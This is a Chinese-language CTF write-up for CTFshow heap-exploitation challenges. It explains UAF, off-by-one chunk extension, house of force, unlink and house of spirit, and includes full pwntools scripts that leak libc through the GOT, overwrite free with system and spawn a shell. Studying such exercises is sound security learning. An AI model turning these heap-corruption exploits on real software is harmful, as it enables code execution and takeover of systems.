CTFSHOW|PWN入门|堆利用部分WP

pwn 141(简单UAF)

经典菜单:

add_note:

del note:free完不悬空,有UAF

print_note:

这里我看反汇编代码看了好久也没有彻底搞懂,从网上找到源码才彻底搞懂:

Use After Free漏洞及其利用 – FreeBuf网络安全行业门户

先看addnote

对比源码,颜色相同的就是同一代码

&notelist+i就相当于notelist[i],而*(&notelist+i)可以这么理解:(&notelist+i)是一个地址,*(&notelist+i)=malloc(n),*是取这个地址存的值,由于malloc返回的是分配内存的首地址,也就是(&notelist+i)的值存的就是分配内存的首地址,如果没有*号,就会导致(&notelist+i)这个地址变成了malloc分配的chunk的首地址。比如(&notelist+i)是0x8000,一开始存的是1,*(&notelist+i)=3,就会导致存的1变成3,而(&notelist+i)=3则是(&notelist+i)本身变成了0x3。可以把(&notelist+i)当成一个指针p来理解

notelist[i]是个指针(地址),指向一个note结构体,一个note结构体又有两个指针成员,指针一指向了一个print_note函数,指针二指向的地址则开辟为字符串。

而黄色框框的两个*号,也用同样方法理解。把一个地址当成chunk的一个成员。蓝色框也是一样道理。

所以示意图如下,当在进行add_note操作时,实际上申请了两次malloc:

同时,发现题目有后门函数:

当我们申请一个chunk时,能够改写的只有指针p2也就是content成员,那如何用UAF做到能修改指针p1呢?

如果先申请一个chunk1然后free掉,再申请一个chunk2,把content申请的大小改成chunk1大小,能不能申请到chunk1的地址呢?答案是不行,因为申请chunk2本体时候就会把chunk1给它,再申请chunk2的content字段时候就会另给了

那就很容易想到,我申请两个呢?

先申请chunk1,再申请chunk2,依次free掉,此时fastbin里面就有chunk1和chunk2,然后我再申请chunk3,(由于fastbin先进后出),chunk3的本体就会拿到chunk2的内存,然后申请chunk3的content字段跟chunk结构体大小一样(8bytes)的话,就会把chunk1的内存分配给它!

所以此时修改chunk3的content就是修改chunk1,改前四字节为后门函数的地址,调用print_note,就会调用后门函数,成功拿到flag

exp:

add(16, “aaaa”)

add(16, “aaaa”)

delete(0)

delete(1)

add(8, p32(use))

show(0)

io.intera

注意,chunk1和chunk2的content大小按理来说是可以随便填的,只要不是chunk本身大小就行了,但是实际上也会有一定范围限制(>12),而且chunk3的content也不一定必须等于8,>=4都可以,具体原因未知

pwn 142(heap extend+libc)

1是创建堆

2是编辑堆

3是打印堆

4是删除堆

先看1:

结合之前的知识,可以大概推算出这样一个结构体数组,heaparray[n]是个指针数组,每个指针指向一个结构体heap。每个heap有16B,其中一个8B是指针,指向一个字符串,也就是堆的content,剩下的8B是个整型变量,代表content的大小

转换C代码:

heap{

size_t size

char *content

}

再看看edit:

改变content的内容,但是发现它这里可以多写一个字节,存在off by one溢出

show函数:

打印size和content内容

delete函数:

先后free掉content指针和结构体本身,然后把结构体指针置空,但是content指针并没有置空,存在UAF

同时,没有后门函数。

由于off by one,考虑heap extend

heap extend需要覆盖下一个chunk的size字段,也就意味着需要触发prev size复用,不然溢出就只能溢出到prev size去

触发prev size复用的条件(非常重要):

只有对16取余后,多出来的字节小于等于8B,才会放入下一个chunk的prevsize!

所以第一个chunk的size需要设置为0x18(0x28,0x38这些其实都可以),第二个chunk设置为0x10

尤其需要注意的是,在create操作时候,实际上每次都申请了两个chunk,一个是结构体,一个是content内容指针,设置的size大小实际上是content指针的,由于申请的chunk是紧挨着的,所以堆内存如下所示:

(由于版本原因,我在创建chunk时候一开始会自动创建一个0x290的chunk)

不影响,创建两个chunk后x/20gx + 地址查看一下

重复测试会发现,有时候content大小分配的不是0x10,最后也会得到一个0x20的chunk,这是由于堆分配的对齐机制

给chunk1的content的size大小是24,chunk2的content的size大小是16,之所以这么分配,是因为26对16取余刚好是8,就会把下一个chunk的prevsize占用:

edit chunk1,输入25个f(即66),可以看到chunk2结构体的size已经被覆盖

这样就能通过修改size大小实现chunk extend,把chunk2结构体和chunk2content合并。

由于没有system函数,所以需要通过libc方式泄露,找到函数原有的plt函数,这里用free函数。首先先清楚我们需要在什么地方才能泄露:必须把content指针(地址)改成free_got地址才能泄露,有可能会疑惑,为什么不能把free_got写入content申请的内容里面打印出来?因为这样打印实际上打印出来的是free_got的地址,而free_got存的值才是free的真实地址!所以得把free_got覆盖content指针,这样打印出来的内容才是free的真实地址!

但是题目中,在申请chunk时候就会默认给content指针malloc一个新地址,怎么办?这时候chunk extend就大显神通了。如果我们把chunk2的结构体和它的content合并了,然后申请一个新的chunk3,首先我们得到chunk3的结构体,然后把它的content申请的指针的内存大小(size)申请成等于合并后chunk2大小的值,就会把合并的chunk2分配给我们,这个时候修改chunk3的content内容,就能修改到chunk2的content指针,注意到delete里面chunk2的content指针并没有置空!这就是伏笔了,然后我们再打印chunk2,就能把free的地址打印出来

关于修改chunk2结构体的size为什么是0x41,一个chunk2结构体会自动malloc(0x10),其中包含两个8B的成员,加上size和prevsize还有标志位的1B,一共就是0x21,然后它的content申请的是0x10,其实也是0x21,那为什么不改成0x42而是0x41?,这里我觉得有两原因,一个是不需要完全囊括content,因为这么做的目的完全是为了让chunk3的content能拿到含有chunk2结构体的内存,如果不改变chunk2结构体的大小,申请chunk3时候chunk3结构体就会先一步占用chunk2结构体,这样content就拿不到chunk2结构体了,而改变chunk2结构体大小后,chunk3的结构体将申请不到chunk2结构体,这样chunk3的content就能拿到chunk2结构体了。

二可能是由于堆的对齐机制吧。

但是仅仅做到用chunk3的content拿到chunk2的结构体还不行,因为要打印出来,而打印函数是打印某个chunk结构体的size和content指针内容。虽然我们修改了chunk2结构体的content指针,但是chunk2结构体已经被free掉而且置空了!此时索引1不是chunk2结构体,而是chunk3结构体。所以我们改chunk2结构体的content指针没用,必须改chunk3结构体的content指针!

那能不能做到呢?

当然可以,这就是需要巧妙构造了。我们给chunk2的content申请的大小是0x10,这就导致content的大小跟结构体的大小一致,然后chunk extend把chunk2结构体和content合并,然后free掉,此时申请一个chunk3,bin里面可供使用的chunk有两个,一个大小0x41,一个大小0x21,(有重叠)而chunk3的结构体由于也是0x21,所以就会拿到chunk2的content部分,它被包含在chunk2结构体的0x41中,而再申请chunk3的content的大小如果申请0x30(0x31 include flag),就会拿到chunk2的结构体。

如图所示:

大红框是chunk2结构体/chunk3 content

小蓝框是chunk2content/chunk3 结构体

而我们能修改的是chunk3 content,可以发现,它可以修改到chunk3 的结构体

payload2=p64(0)+p64(0)+p64(0)(prevsize)+p64(21)(size)+p64(30)(chunk成员size)+p64(free_got)

payload2=p64(0)+p64(0)+p64(0)+p64(21)+p64(30)+p64(free_got)

然后再show(1),就会打印出来chunk3的size成员和content成员的值,content成员以及被我们覆盖成了free_got,就能泄露free_got地址!

动态调试一下:

delete掉chunk2,也就是编号为1(从0开始)的chunk后,回到pwndgb输入bins查看:

释放掉了chunk2结构体跟chunk2的content,但是置空只置空了chunk2结构体。然后申请一个chunk3, 大小是0x30,手输payload有点问题,于是我在脚本输payload后 attach,就会自动弹出来pwngdb,然后再看堆内存:

可以看到,0x602018就是free_got的地址(还不是free的地址,那里存的值才是free的地址),继续跟进,可以可以看到free的真实地址:

接收:

此时拿到了free地址,就可以用基址计算出system的地址,我一开始用libcsearch搞不定,那就只能用本地的库。

本地的库有时候也会报错,多试几次就会有一次成功,原因未知。

我们现在已经得到了system的地址,接下来就是覆写某个会调用的函数地址成system地址:

chunk3的content指针此时是free_got地址,调用edit_note就能对free_got的内容进行修改,改成system真实地址就行

payload3=p64(system)

然后再往chunk1,也就是index为0的note里面写入/bin/sh\x00,接着delete它,就会调用free函数,此时它已经是system函数了,就会执行system(bin/sh),拿到shell

这里首先切记recvuntil一定要越细致越好,尤其是多个冒号这种,不然容易导致混乱。

比较幽默的是,本地打只能用本地库才能打通,打远程只能用libsearcher才能打通(选4),猜测是版本问题.

pwn 143 (house of force)

每当有一次malloc时,如果bins里面没有合适的chunk分配,就会从top chunk中割一块出来,top chunk的地址也会相应移动,那如果malloc了一个负值呢?top chunk就会往低地址移动,如果这个负值是可以随意分配的,也就意味着top chunk的地址能改到任意地方,这时候再申请chunk,就能达到任意地址写的效果

edit能溢出

delete无uaf漏洞

有后门函数

思路就是,先申请一个0x30的chunk,然后edit它,溢出修改top chunk的size位为-1,(这样就能逃过检查申请一个负值的chunk),接着申请一个特定负值的chunk,使得top chunk的地址移动到bye_message这个chunk处,申请一个chunk,修改message chunk的指针指向后门函数,然后5 exit就能调用后门函数:

#申请第一个chunk,这个chunk和top:

add(0x30, b’aaaa’)

#修改top chunk的size位为-1

payload = 0x30 * b’a’

payload += b’a’ * 8 + p64(0xffffffffffffffff)

edit(0, 0x41, payload)

#计算top chunk应该移动的大小,这里不是很理解,按理来说-0x60就够了,但后面还要减去一个值,这个值经过测试,在0x8-0x17之间都可以

offset = -0x60-0x17

add(offset, b’aaaa’)

#再申请一个chunk,拿到message chunk的内存,修改指针即可

add(0x10, p64(flag) * 2)

get_flag()

io.interactive()

pwn 143另一种解法|重要|unlink

unlink介绍:

在free某个大小不属于fast bin的在使用的堆块P时,会触发合并操作,检查前后两个物理相邻堆块P1、P2是不是空闲,如果是空闲,就把P1/P1从原本所在的bin中unlink出来,然后跟P合并,合并后放入unsorted bin中。

unlink操作的关键一步是,FD=P->fd,BK=P->bk,FD->bk=BK,BK->fd=FD

如果把将要unlink的那个堆块(即P)的fd和bk指针修改了, FD指向需要改变值的地址,BK指向想要改成的值,当FD->bk=BK后,就实现了值的篡改。但是注意,FD->bk=FD-12(32位,size+prevsize+fd各四位),所以篡改的地址应该要-12,这样才能实现正确的指向。

但是这样只有在低版本中行得通,高版本中新增了检查,在unlink前,先确定FD->bk=P,BK->fd=P,以防止伪造chunk。这样的话上面的办法明显就通不过检查了。于是有了另一种思路:(32位)

既然要保证FD->bk=P,BK->fd=P,那就直接让FD=P-12,BK=P-8就行了,这样

FD->bk=FD+12=P

BK->fd=BK+8=P

就绕过了检测,执行完unlink后,FD->bk=BK,BK->fd=FD,最后就是P=P-12,P指针指向了比自己低12处.

红字有误,正确的表达应该是,P指针处的值变成P指针-12

指针可以理解成一个地址,比如P指针=0x400400,0x400400处存放的值为0x600600,这个值本来是chunk0所在地址的,但是unlink攻击后0x400400处的值变成了0x400400-12,可以理解成 把 chunk 移到存储 chunk 指针的内存-12处。这样下一次edit这个chunk的时候就能篡改0x400400处的值为自己想要的值,再show出来就能泄露内存地址。而如果再edit一次,由于此时0x400400处的值已经变成了泄露内存地址的值,那就相当于对这个地址直接写了。

add(0x40,’aaaaaaaa’)#0

add(0x80,’bbbbbbbb’)#1

add(0x80,’cccccccc’)#2

add(0x20,’/bin/sh\x00′)

ptr=0x6020a8

fd=ptr-0x18

bk=ptr-0x10

#fakechunk

fakechunk=p64(0)#prevsize

fakechunk+=p64(0x41) #size

fakechunk+=p64(fd)

fakechunk+=p64(bk)

fakechunk+=b’\x00’*0x20

fakechunk+=p64(0x40)#chunk1’s prevsize,0x40 means chunk0 is 0x40 and in free

fakechunk+=p64(0x90)#chunk1’s size

edit(0,len(fakechunk),fakechunk)

#gdb.attach(io)

delete(1) #then chunk0 will unlink

payload=p64(0)*2+p64(0x40)+p64(elf.got[“free”])

edit(0,len(fakechunk),payload)

#gdb.attach(io)

show()

free = u64(io.recvuntil(b”\x7f”)[-6: ].ljust(8, b’\x00′))

log.info(“free addr is:%x”,free)

libc = LibcSearcher(‘free’,free)

libc_base = free – libc.dump(‘free’)

system = libc_base + libc.dump(‘system’)

edit(0,0×8,p64(system))

delete(3)

io.interactive()

pwn 144

这题要修改某个位置已知的全局变量的值才能拿到flag。漏洞只有edit的任意溢出。

首先想到的当然是修改某个free掉的块的fd或者bk指针指向目标地址,然后malloc一或两次就能拿到目标地址的chunk,进而改写。但是之前都是UAF来做,这里拓宽了思路,溢出也能做。

先申请一个32B的chunk0,再申请一个32B的chunk1,free掉chunk1

chunk1进入了tcachebin

然后通过溢出来修改chunk1的fd指针:

magic=0x6020a0

payload=cyclic(0x20)+p64(0)+p64(0x31)+p64(magic)

手输payload会报错,写脚本吧

fd指针已经被修改,但是bins里面还是乱指

按理来说,修改chunk1的fd指针后申请两次就能拿到目标地址,但是不行,可能是这个原因,或许本题的版本压根还没引入tcache bin:

那就试试unsorted bin吧,复习一下堆的分配机制:

官方wp中的有些部分有点多余,进行了修改,最简洁方式如下:

申请一个chunk0 任意大小(后面payload注意跟进就行,注意一下对齐和prevsize复用机制)

一个chunk1 必须大于0x80(实测大于120即可,应该是对齐机制,反正不能放入fast bin即可)

申请一个chunk2, 任意大小,作用是防止chunk1跟top chunk合并

free chunk1,然后edit chunk0,溢出修改chunk1的bk指针,再申请一个合适大小的chunk就能拿到bk指针指向的地址,这个“合适大小”由edit的payload中把chunk1的size修改成的值决定,如果把chunk1修改成0x91,即145,chunk申请的值就得对齐后是0x80,即128.

还可以用unlink打:

from pwn import *

#io = process("/home/monke/ctfshowpwn/pwn")

io= remote("pwn.challenge.ctf.show",28196)

#chunk0

io.sendlineafter("choice :",b'1')

io.sendlineafter("eap : ",b'64')

io.sendlineafter("Content of heap:",b'bbbb')

#chunk1

io.sendlineafter("choice :",b'1')

io.sendlineafter("eap : ",b'128')

io.sendlineafter("Content of heap:",b'cccc')

#chunk2

io.sendlineafter("choice :",b'1')

io.sendlineafter("eap : ",b'128')

io.sendlineafter("Content of heap:",b'dddd')

ptr=0x6020c0

fd=ptr-0x18

bk=ptr-0x10

#fakechunk

fakechunk=p64(0)#prevsize

fakechunk+=p64(0x41) #size

fakechunk+=p64(fd)

fakechunk+=p64(bk)

fakechunk+=b'\x00'*0x20

fakechunk+=p64(0x40)#chunk1's prevsize,0x40 means chunk0 is 0x40 and in free

fakechunk+=p64(0x90)#chunk1's size

#edit fakechunk

io.sendlineafter("choice :",b'2')

io.sendlineafter("Index :",b'0')

io.sendlineafter("eap : ",str(len(fakechunk)))

io.sendlineafter("Content of heap : ",fakechunk)

#gdb.attach(io)

#delete chunk1 and chun0 unlink

io.sendlineafter("choice :",b'3')

io.sendlineafter("Index :",b'1')

magic=0x6020a0

#edit ptr chunk0 ->magic

payload=p64(0)*2+p64(0x40)+p64(magic)

io.sendlineafter("choice :",b'2')

io.sendlineafter("Index :",b'0')

io.sendlineafter("eap : ",str(len(payload)))

io.sendlineafter("Content of heap : ",payload)

#edit magic

io.sendlineafter("choice :",b'2')

io.sendlineafter("Index :",b'0')

io.sendlineafter("eap : ",b'32')

io.sendlineafter("Content of heap : ",b'eeee')

#gdb.attach(io)

io.sendline("114514")

io.interactive()

还可以用house of spirit打:

这里我搞清楚了,我一开始用tcache bin attack打不通应该是因为对应版本还没有tcache bin(所以unsorted bin attack时候不用考虑先把tcache bin塞满也能通),所以要考虑也应该是fast bin attack,而fastbin的伪造chunk是比较苛刻的,有检查,所以打不通。house of spirit就是fastbin attack的一种,搞懂了这个就搞懂了为什么最先的那种方法通不了。

fastbin的检测:

https://zhuanlan.zhihu.com/p/112858036

https://blog.csdn.net/qq_41453285/article/details/97753705

小技巧:

找一个x7f来当size就可以逃过检测

House Of Spirit

创建三个chunk,free chunk2,链⼊fastbin,edit修改chunk1内容,并且覆盖到free chunk2的fd,fd就可

以覆盖为fake chunk.

我们在heaparray附近伪造chunk,为了绕过free fastbins的⼤⼩检查,在附近找到0x7f,可以调试找到合

适的地⽅:0x602090 -3,并把这⾥作fake chunk,size就是0x7f.

创建⼀个chunk,分配到chunk2

再创建⼀个chunk3,分配到fakechunk,

edit修改chunk3,覆盖到heaparray,写⼊free_got

再修改heaparray[0],把free_got改为system_plt的地址

这⾥需要⼀个’/bin/sh\x00’,可以在开始修chunk1的时候写⼊

释放chunk1,”/bin/sh\x00″当作参数传⼊free(),free已改为system,实际执⾏system(“/bin/sh\0x00”),

然后get shell

exp

1 from pwn import *

2 context(arch = 'amd64',os = 'linux',log_level = 'debug')

3 #io = process('./pwn')

4 io = remote('pwn.challenge.ctf.show',28227)

5 elf = ELF('./pwn')

6 libc = ELF('/home/bit/libc/64bit/libc-2.23.so')

7 free_got = elf.got['free']

8 system = elf.plt['system']

9 heaparray_0 = 0x6020c0

10 heaparray_1 = 0x6020c8

11 heaparray_2 = 0x6020d0

12 heaparray_3 = 0x6020d8

13

14 def create_heap(size,content):

15 io.recvuntil("choice :")

16 io.sendline("1")

17 io.recvuntil(":")18 io.sendline(str(size))

19 io.recvuntil(":")

20 io.sendline(content)

21

22 def edit_heap(idx,size,content):

23 io.recvuntil("choice :")

24 io.sendline("2")

25 io.recvuntil(":")

26 io.sendline(str(idx))

27 io.recvuntil(":")

28 io.sendline(str(size))

29 io.recvuntil(":")

30 io.sendline(content)

31

32 def delete_heap(idx):

33 io.recvuntil("choice :")

34 io.sendline("3")

35 io.recvuntil(":")

36 io.sendline(str(idx))

37

38 create_heap(0x68,'aaaa')

39 create_heap(0x68,'bbbb')

40 create_heap(0x68,'cccc')

41 delete_heap(2)

42

43 payload = '/bin/sh\x00' + 'a' * 0x60 + p64(0x71) + p64(0x602090-3)

44 edit_heap(1,len(payload),payload)

45 create_heap(0x68,'aaaa')

46 create_heap(0x68,'dddd')

47 payload = '\xaa' * 3 + p64(0) * 4 + p64(free_got)

48 edit_heap(3,len(payload),payload)

49 payload = p64(system)

50

51 edit_heap(0,len(payload),payload)

52 delete_heap(1)

53

54 io.interactive()

fastbin attack跟unsorted bin attack 经常一起用,unsorted bin可以修改任意地方的值,修改成x7f就能给fastbin attack用了

pwn 160(堆风水)

菜单如图:

add:

每一次add会进行两次malloc,第一次用户自己定义大小,第二次系统规定0x80,然后把系统规定的chunk的地址的值又视为一个地址,并把用户自己定义创建的chunk赋值给它。

由此可以猜出结构体为:

chunk{

*description

char[0x7c]

}

其中description指针指向一块自定义大小的chunk,而且本题是先开辟description的chunk再开辟结构体的chunk!这一点跟之前遇到的题不一样

delete函数:

delete把两个chunk都free了,但是description指针没有置空,有uaf

show:

edit:

这一句是溢出检测:

看起来就非常奇怪,溢出检测通常不是这么搞的,这句话的意思是,因为是先申请的description的chunk,再申请的结构体的chunk,description的地址加上edit的size不能越过结构体chunk的地址。(因为按理来说他们是紧接着的)

那绕过的思路就是,我让他们不挨着不就行了?

本题环境是:

查看libc版本:

https://sillyrabbit.cn/pwn/%e5%90%84ubuntu%e7%89%88%e6%9c%ac%e5%af%b9%e5%ba%94%e7%9a%84libc%e7%89%88%e6%9c%ac

2.23,还没有tcache bin,再本地换一下libc:

patchelf –set-interpreter /home/monke/Desktop/glibc-all-in-one/libs/2.23-0ubuntu3_i386/ld-2.23.so pwn

patchelf –replace-needed libc.so.6 /home/monke/Desktop/glibc-all-in-one/libs/2.23-0ubuntu3_i386/libc-2.23.so pwn

没有tcache bin的话就不用考虑把它填满的操作了,直接就能到unsorted bin。

所以先add两个user,然后delete user0,实际上执行了两次free,user0的description指针和它的结构体指针会合并然后放入unsorted bin中,此时再add一个user2,申请一个符合合并后大小的description就能拿到这一整块chunk,然后user2的结构体就会跑到下面去,由于下面还有一个user1,所以user2的description和结构体指针就被user1隔离开了:

动态调试:

add(0x80,b’aaaa’,0x80,b’bbbb’)

add(0x80,b’aaaa’,0x80,b’bbbb’)

delete(0)

此时heap如下

然后

add user2:

可以看到,此时user2的description指针和结构体指针的两个chunk已经被隔离了,也就意味着绕过了溢出检测,然后edit user2的description就可以溢出到user1了

然后就是常规操作了,泄露并计算libc基址,算出system地址

,改free的got值为system,调用一个内容是binsh的chunk就能getshell,但是我这新添加一个chunk会报错,干脆就直接用chunk2:

payload=binsh.ljust(0x108,b’\x00′)+p32(110)+p32(0x89)+cyclic(0x80)+p32(0)+p32(0x89)+p32(elf.got[‘free’])

完整exp:

from pwn import *

context.log_level = "info"

io = process("/home/monke/ctfshowpwn/pwn")

#io = remote('pwn.challenge.ctf.show', 28257)

elf = ELF('/home/monke/ctfshowpwn/pwn')

libc = ELF('/home/monke/Desktop/glibc-all-in-one/libs/2.23-0ubuntu3_i386/libc-2.23.so')

def add(size, name,length,text):

io.sendlineafter("Action: ",b'0')

io.sendlineafter("size of description: ",str(size))

io.sendlineafter("name: ",name)

io.sendlineafter("text length: ",str(length))

io.sendlineafter("text: ",text)

def edit(idx, length,text):

io.sendlineafter("Action: ",b'3')

io.sendlineafter("index: ",str(idx))

io.sendlineafter("text length: ",str(length))

io.sendlineafter("text: ",text)

def delete(idx):

io.sendlineafter("Action: ",b'1')

io.sendlineafter("index: ",str(idx))

def show(idx):

io.sendlineafter("Action: ",b'2')

io.sendlineafter("index: ",str(idx))

add(0x80,b'aaaa',0x80,b'bbbb')

add(0x80,b'aaaa',0x80,b'bbbb')

delete(0)

#gdb.attach(io)

print(elf.plt['free'])

add(0x108,b'aaaa',0x80,b'bbbb')

#gdb.attach(io)

binsh=b'/bin/sh'

payload=binsh.ljust(0x108,b'\x00')+p32(110)+p32(0x89)+cyclic(0x80)+p32(0)+p32(0x89)+p32(elf.got['free'])

edit(2,len(payload),payload)

#gdb.attach(io)

show(1)

#gdb.attach(io)

io.recvuntil('description: ')

free_addr = u32(io.recv(4))

print(hex(free_addr))

libc_base = free_addr-libc.sym['free']

print("libc_base",hex(libc_base))

system_addr = libc_base+libc.sym['system']

edit(1,0x8,p32(system_addr))

delete(2)

io.interactive()

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇